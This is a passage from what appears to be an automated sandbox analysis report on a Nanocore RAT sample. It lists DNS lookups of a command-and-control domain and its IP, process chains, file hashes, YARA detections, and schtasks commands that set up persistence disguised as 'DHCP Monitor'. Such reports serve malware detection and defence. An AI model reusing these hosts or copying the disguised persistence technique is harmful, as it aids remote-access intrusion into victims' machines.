Apr 8, 2021 19:06:04.592571974 CEST	59920	53	192.168.2.4	8.8.8.8
Apr 8, 2021 19:06:04.605730057 CEST	53	59920	8.8.8.8	192.168.2.4
Apr 8, 2021 19:06:06.054282904 CEST	57458	53	192.168.2.4	8.8.8.8
Apr 8, 2021 19:06:06.069225073 CEST	53	57458	8.8.8.8	192.168.2.4
Apr 8, 2021 19:06:06.800720930 CEST	50579	53	192.168.2.4	8.8.8.8
Apr 8, 2021 19:06:06.816744089 CEST	53	50579	8.8.8.8	192.168.2.4
Apr 8, 2021 19:06:07.656873941 CEST	51703	53	192.168.2.4	8.8.8.8
Apr 8, 2021 19:06:07.669852972 CEST	53	51703	8.8.8.8	192.168.2.4
Apr 8, 2021 19:06:08.537900925 CEST	65248	53	192.168.2.4	8.8.8.8
Apr 8, 2021 19:06:08.552381992 CEST	53	65248	8.8.8.8	192.168.2.4
Apr 8, 2021 19:06:09.308515072 CEST	53723	53	192.168.2.4	8.8.8.8
Apr 8, 2021 19:06:09.321402073 CEST	53	53723	8.8.8.8	192.168.2.4
Apr 8, 2021 19:06:10.267388105 CEST	64646	53	192.168.2.4	8.8.8.8
Apr 8, 2021 19:06:10.280556917 CEST	53	64646	8.8.8.8	192.168.2.4
Apr 8, 2021 19:06:11.103508949 CEST	65298	53	192.168.2.4	8.8.8.8
Apr 8, 2021 19:06:11.116632938 CEST	53	65298	8.8.8.8	192.168.2.4
Apr 8, 2021 19:06:11.992616892 CEST	59123	53	192.168.2.4	8.8.8.8
Apr 8, 2021 19:06:12.005228043 CEST	53	59123	8.8.8.8	192.168.2.4
Apr 8, 2021 19:06:12.846138000 CEST	54531	53	192.168.2.4	8.8.8.8
Apr 8, 2021 19:06:12.862572908 CEST	53	54531	8.8.8.8	192.168.2.4
Apr 8, 2021 19:06:13.601794004 CEST	49714	53	192.168.2.4	8.8.8.8
Apr 8, 2021 19:06:13.614360094 CEST	53	49714	8.8.8.8	192.168.2.4
Apr 8, 2021 19:06:14.382998943 CEST	58028	53	192.168.2.4	8.8.8.8
Apr 8, 2021 19:06:14.395639896 CEST	53	58028	8.8.8.8	192.168.2.4
Apr 8, 2021 19:06:15.955348969 CEST	53097	53	192.168.2.4	8.8.8.8
Apr 8, 2021 19:06:15.968251944 CEST	53	53097	8.8.8.8	192.168.2.4
Apr 8, 2021 19:06:22.594480991 CEST	49257	53	192.168.2.4	8.8.8.8
Apr 8, 2021 19:06:22.607168913 CEST	53	49257	8.8.8.8	192.168.2.4
Apr 8, 2021 19:06:28.039309025 CEST	62389	53	192.168.2.4	8.8.8.8
Apr 8, 2021 19:06:28.061603069 CEST	53	62389	8.8.8.8	192.168.2.4
Apr 8, 2021 19:06:45.224353075 CEST	49910	53	192.168.2.4	8.8.8.8
Apr 8, 2021 19:06:45.239716053 CEST	53	49910	8.8.8.8	192.168.2.4
Apr 8, 2021 19:06:52.416388988 CEST	55854	53	192.168.2.4	8.8.8.8
Apr 8, 2021 19:06:52.428383112 CEST	53	55854	8.8.8.8	192.168.2.4
Apr 8, 2021 19:07:05.747019053 CEST	64549	53	192.168.2.4	8.8.8.8
Apr 8, 2021 19:07:05.761940956 CEST	53	64549	8.8.8.8	192.168.2.4
Apr 8, 2021 19:07:10.927253962 CEST	63153	53	192.168.2.4	8.8.8.8
Apr 8, 2021 19:07:10.940756083 CEST	53	63153	8.8.8.8	192.168.2.4
Apr 8, 2021 19:07:16.072588921 CEST	52991	53	192.168.2.4	8.8.8.8
Apr 8, 2021 19:07:16.085952997 CEST	53	52991	8.8.8.8	192.168.2.4
Apr 8, 2021 19:07:36.600106001 CEST	53700	53	192.168.2.4	8.8.8.8
Apr 8, 2021 19:07:36.621063948 CEST	53	53700	8.8.8.8	192.168.2.4
Apr 8, 2021 19:07:41.767921925 CEST	51726	53	192.168.2.4	8.8.8.8
Apr 8, 2021 19:07:41.787542105 CEST	53	51726	8.8.8.8	192.168.2.4
Apr 8, 2021 19:07:46.925127029 CEST	56794	53	192.168.2.4	8.8.8.8
Apr 8, 2021 19:07:46.938282013 CEST	53	56794	8.8.8.8	192.168.2.4
Apr 8, 2021 19:08:07.500602007 CEST	56534	53	192.168.2.4	8.8.8.8
Apr 8, 2021 19:08:07.513406038 CEST	53	56534	8.8.8.8	192.168.2.4
Apr 8, 2021 19:08:12.678395033 CEST	56627	53	192.168.2.4	8.8.8.8
Apr 8, 2021 19:08:12.698591948 CEST	53	56627	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Apr 8, 2021 19:06:22.594480991 CEST	192.168.2.4	8.8.8.8	0x727e	Standard query (0)	strongodss.ddns.net	A (IP address)	IN (0x0001)
Apr 8, 2021 19:06:28.039309025 CEST	192.168.2.4	8.8.8.8	0x1207	Standard query (0)	strongodss.ddns.net	A (IP address)	IN (0x0001)
Apr 8, 2021 19:06:45.224353075 CEST	192.168.2.4	8.8.8.8	0xc34c	Standard query (0)	strongodss.ddns.net	A (IP address)	IN (0x0001)
Apr 8, 2021 19:07:05.747019053 CEST	192.168.2.4	8.8.8.8	0x83e8	Standard query (0)	strongodss.ddns.net	A (IP address)	IN (0x0001)
Apr 8, 2021 19:07:10.927253962 CEST	192.168.2.4	8.8.8.8	0x4728	Standard query (0)	strongodss.ddns.net	A (IP address)	IN (0x0001)
Apr 8, 2021 19:07:16.072588921 CEST	192.168.2.4	8.8.8.8	0x41fb	Standard query (0)	strongodss.ddns.net	A (IP address)	IN (0x0001)
Apr 8, 2021 19:07:36.600106001 CEST	192.168.2.4	8.8.8.8	0x309e	Standard query (0)	strongodss.ddns.net	A (IP address)	IN (0x0001)
Apr 8, 2021 19:07:41.767921925 CEST	192.168.2.4	8.8.8.8	0xbdd9	Standard query (0)	strongodss.ddns.net	A (IP address)	IN (0x0001)
Apr 8, 2021 19:07:46.925127029 CEST	192.168.2.4	8.8.8.8	0x44e	Standard query (0)	strongodss.ddns.net	A (IP address)	IN (0x0001)
Apr 8, 2021 19:08:07.500602007 CEST	192.168.2.4	8.8.8.8	0x1c40	Standard query (0)	strongodss.ddns.net	A (IP address)	IN (0x0001)
Apr 8, 2021 19:08:12.678395033 CEST	192.168.2.4	8.8.8.8	0xa8d7	Standard query (0)	strongodss.ddns.net	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Apr 8, 2021 19:06:22.607168913 CEST	8.8.8.8	192.168.2.4	0x727e	No error (0)	strongodss.ddns.net	79.134.225.40	A (IP address)	IN (0x0001)
Apr 8, 2021 19:06:28.061603069 CEST	8.8.8.8	192.168.2.4	0x1207	No error (0)	strongodss.ddns.net	79.134.225.40	A (IP address)	IN (0x0001)
Apr 8, 2021 19:06:45.239716053 CEST	8.8.8.8	192.168.2.4	0xc34c	No error (0)	strongodss.ddns.net	79.134.225.40	A (IP address)	IN (0x0001)
Apr 8, 2021 19:07:05.761940956 CEST	8.8.8.8	192.168.2.4	0x83e8	No error (0)	strongodss.ddns.net	79.134.225.40	A (IP address)	IN (0x0001)
Apr 8, 2021 19:07:10.940756083 CEST	8.8.8.8	192.168.2.4	0x4728	No error (0)	strongodss.ddns.net	79.134.225.40	A (IP address)	IN (0x0001)
Apr 8, 2021 19:07:16.085952997 CEST	8.8.8.8	192.168.2.4	0x41fb	No error (0)	strongodss.ddns.net	79.134.225.40	A (IP address)	IN (0x0001)
Apr 8, 2021 19:07:36.621063948 CEST	8.8.8.8	192.168.2.4	0x309e	No error (0)	strongodss.ddns.net	79.134.225.40	A (IP address)	IN (0x0001)
Apr 8, 2021 19:07:41.787542105 CEST	8.8.8.8	192.168.2.4	0xbdd9	No error (0)	strongodss.ddns.net	79.134.225.40	A (IP address)	IN (0x0001)
Apr 8, 2021 19:07:46.938282013 CEST	8.8.8.8	192.168.2.4	0x44e	No error (0)	strongodss.ddns.net	79.134.225.40	A (IP address)	IN (0x0001)
Apr 8, 2021 19:08:07.513406038 CEST	8.8.8.8	192.168.2.4	0x1c40	No error (0)	strongodss.ddns.net	79.134.225.40	A (IP address)	IN (0x0001)
Apr 8, 2021 19:08:12.698591948 CEST	8.8.8.8	192.168.2.4	0xa8d7	No error (0)	strongodss.ddns.net	79.134.225.40	A (IP address)	IN (0x0001)

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: zunUbtZ2Y3.exe PID: 4728 Parent PID: 5932

General

Start time:	19:06:03
Start date:	08/04/2021
Path:	C:\Users\user\Desktop\zunUbtZ2Y3.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\zunUbtZ2Y3.exe'
Imagebase:	0x1350000
File size:	986265 bytes
MD5 hash:	5EA59097FB7EED4AC42B666AC548D39C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: nfiuc.pif PID: 984 Parent PID: 4728

General

Start time:	19:06:08
Start date:	08/04/2021
Path:	C:\Users\user\AppData\Roaming\22032878\nfiuc.pif
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Roaming\22032878\nfiuc.pif' xaso.fhr
Imagebase:	0xee0000
File size:	664816 bytes
MD5 hash:	51663CBA5E7E841A0443112BF5E57049
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000001.00000003.677255613.000000000423F000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000001.00000003.677255613.000000000423F000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000001.00000003.677255613.000000000423F000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000001.00000003.677318458.0000000004272000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000001.00000003.677318458.0000000004272000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000001.00000003.677318458.0000000004272000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000001.00000003.679566684.00000000041A1000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000001.00000003.679566684.00000000041A1000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000001.00000003.679566684.00000000041A1000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000001.00000003.679501436.00000000041D5000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000001.00000003.679501436.00000000041D5000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000001.00000003.679501436.00000000041D5000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000001.00000003.679383356.000000000420A000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000001.00000003.679383356.000000000420A000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000001.00000003.679383356.000000000420A000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000001.00000003.678729204.0000000004155000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000001.00000003.678729204.0000000004155000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000001.00000003.678729204.0000000004155000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000001.00000003.676679410.00000000041D5000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000001.00000003.676679410.00000000041D5000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000001.00000003.676679410.00000000041D5000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000001.00000003.677221211.000000000420A000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000001.00000003.677221211.000000000420A000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000001.00000003.677221211.000000000420A000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000001.00000003.677158257.000000000420A000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000001.00000003.677158257.000000000420A000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000001.00000003.677158257.000000000420A000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000001.00000003.676738123.0000000004155000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000001.00000003.676738123.0000000004155000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000001.00000003.676738123.0000000004155000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000001.00000003.676806998.00000000041A1000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000001.00000003.676806998.00000000041A1000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000001.00000003.676806998.00000000041A1000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000001.00000003.676882345.0000000004121000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000001.00000003.676882345.0000000004121000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000001.00000003.676882345.0000000004121000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000001.00000003.679249376.0000000004121000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000001.00000003.679249376.0000000004121000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000001.00000003.679249376.0000000004121000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000001.00000003.677081542.0000000004155000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000001.00000003.677081542.0000000004155000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000001.00000003.677081542.0000000004155000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
Antivirus matches:	Detection: 19%, Metadefender, Browse Detection: 45%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: RegSvcs.exe PID: 5660 Parent PID: 984

General

Start time:	19:06:13
Start date:	08/04/2021
Path:	C:\Users\user\AppData\Local\Temp\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\RegSvcs.exe
Imagebase:	0x70000
File size:	45152 bytes
MD5 hash:	2867A3817C9245F7CF518524DFD18F28
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000002.00000002.923227276.00000000028C1000.00000004.00000001.sdmp, Author: Joe Security Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000002.00000002.927044565.00000000060B0000.00000004.00000001.sdmp, Author: Florian Roth Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source: 00000002.00000002.927044565.00000000060B0000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000002.00000002.927044565.00000000060B0000.00000004.00000001.sdmp, Author: Joe Security Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000002.00000002.927012461.00000000060A0000.00000004.00000001.sdmp, Author: Florian Roth Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source: 00000002.00000002.927012461.00000000060A0000.00000004.00000001.sdmp, Author: Florian Roth Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000002.00000002.926952371.0000000006010000.00000004.00000001.sdmp, Author: Florian Roth Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source: 00000002.00000002.926952371.0000000006010000.00000004.00000001.sdmp, Author: Florian Roth Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000002.00000002.922381074.0000000000502000.00000040.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000002.00000002.922381074.0000000000502000.00000040.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000002.00000002.922381074.0000000000502000.00000040.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000002.00000002.924061373.0000000003909000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000002.00000002.924061373.0000000003909000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
Antivirus matches:	Detection: 0%, Metadefender, Browse Detection: 0%, ReversingLabs
Reputation:	high

Chronological Activities

Analysis Process: schtasks.exe PID: 5844 Parent PID: 5660

General

Start time:	19:06:17
Start date:	08/04/2021
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	'schtasks.exe' /create /f /tn 'DHCP Monitor' /xml 'C:\Users\user\AppData\Local\Temp\tmp3E2B.tmp'
Imagebase:	0x1270000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 5896 Parent PID: 5844

General

Start time:	19:06:17
Start date:	08/04/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: schtasks.exe PID: 5556 Parent PID: 5660

General

Start time:	19:06:18
Start date:	08/04/2021
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	'schtasks.exe' /create /f /tn 'DHCP Monitor Task' /xml 'C:\Users\user\AppData\Local\Temp\tmp4272.tmp'
Imagebase:	0x1270000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 2864 Parent PID: 5556

General

Start time:	19:06:18
Start date:	08/04/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: RegSvcs.exe PID: 5036 Parent PID: 968

General

Start time:	19:06:19
Start date:	08/04/2021
Path:	C:\Users\user\AppData\Local\Temp\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\RegSvcs.exe 0
Imagebase:	0xff0000
File size:	45152 bytes
MD5 hash:	2867A3817C9245F7CF518524DFD18F28
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 4936 Parent PID: 5036

General

Start time:	19:06:20
Start date:	08/04/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: dhcpmon.exe PID: 1472 Parent PID: 968

General

Start time:	19:06:21
Start date:	08/04/2021
Path:	C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe' 0
Imagebase:	0x60000
File size:	45152 bytes
MD5 hash:	2867A3817C9245F7CF518524DFD18F28
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 0%, Metadefender, Browse Detection: 0%, ReversingLabs
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 1440 Parent PID: 1472

General

Start time:	19:06:22
Start date:	08/04/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: nfiuc.pif PID: 1380 Parent PID: 3424

General

Start time:	19:06:22
Start date:	08/04/2021
Path:	C:\Users\user\AppData\Roaming\22032878\nfiuc.pif
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Roaming\22032878\nfiuc.pif' C:\Users\user\AppData\Roaming\22032878\xaso.fhr
Imagebase:	0xee0000
File size:	664816 bytes
MD5 hash:	51663CBA5E7E841A0443112BF5E57049
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 0000000B.00000003.708352984.000000000474B000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000B.00000003.708352984.000000000474B000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 0000000B.00000003.708352984.000000000474B000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 0000000B.00000003.708271591.0000000004718000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000B.00000003.708271591.0000000004718000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 0000000B.00000003.708271591.0000000004718000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 0000000B.00000003.710662958.0000000004646000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000B.00000003.710662958.0000000004646000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 0000000B.00000003.710662958.0000000004646000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 0000000B.00000003.710938676.0000000004611000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000B.00000003.710938676.0000000004611000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 0000000B.00000003.710938676.0000000004611000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 0000000B.00000003.707826555.00000000046AF000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000B.00000003.707826555.00000000046AF000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 0000000B.00000003.707826555.00000000046AF000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 0000000B.00000003.710381105.000000000467A000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000B.00000003.710381105.000000000467A000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 0000000B.00000003.710381105.000000000467A000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 0000000B.00000003.707511293.000000000467A000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000B.00000003.707511293.000000000467A000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 0000000B.00000003.707511293.000000000467A000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 0000000B.00000003.709101376.00000000039C8000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000B.00000003.709101376.00000000039C8000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 0000000B.00000003.709101376.00000000039C8000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 0000000B.00000003.707372891.00000000046AF000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000B.00000003.707372891.00000000046AF000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 0000000B.00000003.707372891.00000000046AF000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 0000000B.00000003.710427838.00000000046E2000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000B.00000003.710427838.00000000046E2000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 0000000B.00000003.710427838.00000000046E2000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 0000000B.00000003.707926521.00000000046E3000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000B.00000003.707926521.00000000046E3000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 0000000B.00000003.707926521.00000000046E3000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 0000000B.00000003.710514323.00000000046E2000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000B.00000003.710514323.00000000046E2000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 0000000B.00000003.710514323.00000000046E2000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 0000000B.00000003.707412308.0000000004611000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000B.00000003.707412308.0000000004611000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 